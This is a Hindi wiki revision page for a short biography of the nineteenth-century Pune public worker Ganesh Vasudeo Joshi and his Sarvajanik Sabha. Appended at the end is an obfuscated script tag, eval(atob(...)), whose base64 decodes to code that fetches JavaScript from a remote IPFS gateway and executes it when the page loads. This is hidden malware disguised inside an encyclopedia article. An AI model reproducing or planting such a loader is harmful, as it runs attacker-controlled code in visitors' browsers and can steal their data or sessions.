"प्रयोग:दीपिका2": अवतरणों में अंतर
(पृष्ठ को खाली किया) |
No edit summary |
||
पंक्ति 1: | पंक्ति 1: | ||
{{सूचना बक्सा सामाजिक कार्यकर्ता | |||
|चित्र= | |||
|चित्र का नाम=गणेश वासुदेव जोशी | |||
|पूरा नाम=गणेश वासुदेव जोशी | |||
|अन्य नाम=सार्वजनिक काका | |||
|जन्म=[[20 जुलाई]], 1828 | |||
|जन्म भूमि=[[सतारा]], [[महाराष्ट्र]] | |||
|मृत्यु= [[25 जुलाई]], [[1880]] | |||
|मृत्यु स्थान= | |||
|मृत्यु कारण= | |||
|अभिभावक= | |||
|पति/पत्नी= | |||
|संतान= | |||
|स्मारक= | |||
|क़ब्र= | |||
|नागरिकता=भारतीय | |||
|प्रसिद्धि=सार्वजनिक कार्यकर्ता | |||
|पद=वकील | |||
|भाषा=मराठी, अंग्रेज़ी | |||
|जेल यात्रा= | |||
|विद्यालय= | |||
|शिक्षा= | |||
|पुरस्कार-उपाधि= | |||
|विशेष योगदान= | |||
|संबंधित लेख= | |||
|शीर्षक 1= | |||
|पाठ 1= | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी=गणेश वासुदेव जोशी ने सार्जनिक क्षेत्र में भी काम करना आरंभ किया और इस उद्देश्य से [[1870]] ई. में 'पुणे सार्वजनिक सभा' की स्थापना की। | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}} | |||
'''गणेश वासुदेव जोशी''' ([[अंग्रेज़ी]]: ''Ganesh Vasudeo Joshi'', जन्म-[[20 जुलाई]],1828, [[सतारा]], [[महाराष्ट्र]]; मृत्यु- [[25 जुलाई]], [[1880]]) अपने समय के प्रमुख सार्वजनिक कार्यकर्ता और [[पूना]] की प्रसिद्ध 'सार्वजनिक सभा' के संस्थापक थे। | |||
==परिचय== | |||
गणेश वासुदेव जोशी का जन्म [[20 जुलाई]], 1828 को [[सतारा]], [[महाराष्ट्र]] में हुआ था। ये अपने समय के प्रमुख सार्वजनिक कार्यकर्ता और पूना (वर्तमान पुणे) की प्रसिद्ध 'सार्वजनिक सभा' के संस्थापक थे। इन्हे सार्वजनिक काका के नाम से भी जाना जाता था। गणेश जी के [[पिता]] [[ईस्ट इंडिया कंपनी]] के कर्मचारी थे। किंतु उनका असमय ही निधन हो गया। गणेश जी औपचारिक शिक्षा केवल [[मराठी भाषा]] में हो पाई। बड़े होने पर निजी तौर पर उन्होंने [[अंग्रेज़ी भाषा]] सीखी। उन्होंने 'मुख्तार वकील' की परीक्षा पास की और [[पुणे]] में वकालत करने लगे। साथ ही उन्होंने सार्जनिक क्षेत्र में भी काम करना आरंभ किया और इस उद्देश्य से [[1870]] ई. में 'पुणे सार्वजनिक सभा' की स्थापना की। इस सभा में उस समय के लगभग सभी प्रमुख व्यक्ति सम्मिलित हो गए। महादेव गोविंद रानाडे भी इसके सदस्य थे। सभा का उद्देश्य जनता की कठिनाइयों की ओर [[अंग्रेज़]] अधिकारियों का ध्यान आकृष्ट करके उनके निवारण का प्रयत्न करना था। उस समय की परिस्थितियों में और किसी प्रकार की राजनीतिक गतिविधि संभव नहीं थी। 'सार्वजनिक सभा' को अपने इस कार्य में काफी हद तक सफलता भी मिली। | |||
;राजनैतिक जीवन | |||
नमक पर कर कम किया गया, किसानों की दशा की जाँच करने के लिए कमीशन बैठा, [[1876]] के भयंकर अकाल में सरकार से सहायता प्राप्त करने में कामयाबी मिली। उनकी 'सार्वजनिक सभा' के प्रयत्न से सरकार जागृति का आरंभ हुआ जिसकी परिणति [[1885]] में [[कांग्रेस]] की स्थापना की रूप में देश के सामने आई। इन सब कार्यों के कारण गणेश वासुदेव जोशी का नाम भी 'सार्वजनिक काका' पड़ गया था। | |||
==निधन== | |||
25 जुलाई, 1880 को गणेश वासुदेव जोशी देहांत हो गया। | |||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | |||
==टीका टिप्पणी और संदर्भ== | |||
<references/> | |||
==बाहरी कड़ियाँ== | |||
==संबंधित लेख== | |||
{{सामाजिक कार्यकर्ता}} | |||
[[Category:चरित कोश]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:सामाजिक कार्यकर्ता]][[Category:औपनिवेशिक काल]][[Category:अंग्रेज़ी शासन]] | |||
__INDEX__ | |||
__NOTOC__ |
12:14, 22 अक्टूबर 2016 का अवतरण
दीपिका2
| |
[[चित्र:|गणेश वासुदेव जोशी|200px|center]]
| |
पूरा नाम | गणेश वासुदेव जोशी |
अन्य नाम | सार्वजनिक काका |
जन्म | 20 जुलाई, 1828 |
जन्म भूमि | सतारा, महाराष्ट्र |
मृत्यु | 25 जुलाई, 1880 |
नागरिकता | भारतीय |
प्रसिद्धि | सार्वजनिक कार्यकर्ता |
पद | वकील |
भाषा | मराठी, अंग्रेज़ी |
अन्य जानकारी | गणेश वासुदेव जोशी ने सार्जनिक क्षेत्र में भी काम करना आरंभ किया और इस उद्देश्य से 1870 ई. में 'पुणे सार्वजनिक सभा' की स्थापना की। |
गणेश वासुदेव जोशी (अंग्रेज़ी: Ganesh Vasudeo Joshi, जन्म-20 जुलाई,1828, सतारा, महाराष्ट्र; मृत्यु- 25 जुलाई, 1880) अपने समय के प्रमुख सार्वजनिक कार्यकर्ता और पूना की प्रसिद्ध 'सार्वजनिक सभा' के संस्थापक थे।
परिचय
गणेश वासुदेव जोशी का जन्म 20 जुलाई, 1828 को सतारा, महाराष्ट्र में हुआ था। ये अपने समय के प्रमुख सार्वजनिक कार्यकर्ता और पूना (वर्तमान पुणे) की प्रसिद्ध 'सार्वजनिक सभा' के संस्थापक थे। इन्हे सार्वजनिक काका के नाम से भी जाना जाता था। गणेश जी के पिता ईस्ट इंडिया कंपनी के कर्मचारी थे। किंतु उनका असमय ही निधन हो गया। गणेश जी औपचारिक शिक्षा केवल मराठी भाषा में हो पाई। बड़े होने पर निजी तौर पर उन्होंने अंग्रेज़ी भाषा सीखी। उन्होंने 'मुख्तार वकील' की परीक्षा पास की और पुणे में वकालत करने लगे। साथ ही उन्होंने सार्जनिक क्षेत्र में भी काम करना आरंभ किया और इस उद्देश्य से 1870 ई. में 'पुणे सार्वजनिक सभा' की स्थापना की। इस सभा में उस समय के लगभग सभी प्रमुख व्यक्ति सम्मिलित हो गए। महादेव गोविंद रानाडे भी इसके सदस्य थे। सभा का उद्देश्य जनता की कठिनाइयों की ओर अंग्रेज़ अधिकारियों का ध्यान आकृष्ट करके उनके निवारण का प्रयत्न करना था। उस समय की परिस्थितियों में और किसी प्रकार की राजनीतिक गतिविधि संभव नहीं थी। 'सार्वजनिक सभा' को अपने इस कार्य में काफी हद तक सफलता भी मिली।
- राजनैतिक जीवन
नमक पर कर कम किया गया, किसानों की दशा की जाँच करने के लिए कमीशन बैठा, 1876 के भयंकर अकाल में सरकार से सहायता प्राप्त करने में कामयाबी मिली। उनकी 'सार्वजनिक सभा' के प्रयत्न से सरकार जागृति का आरंभ हुआ जिसकी परिणति 1885 में कांग्रेस की स्थापना की रूप में देश के सामने आई। इन सब कार्यों के कारण गणेश वासुदेव जोशी का नाम भी 'सार्वजनिक काका' पड़ गया था।
निधन
25 जुलाई, 1880 को गणेश वासुदेव जोशी देहांत हो गया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>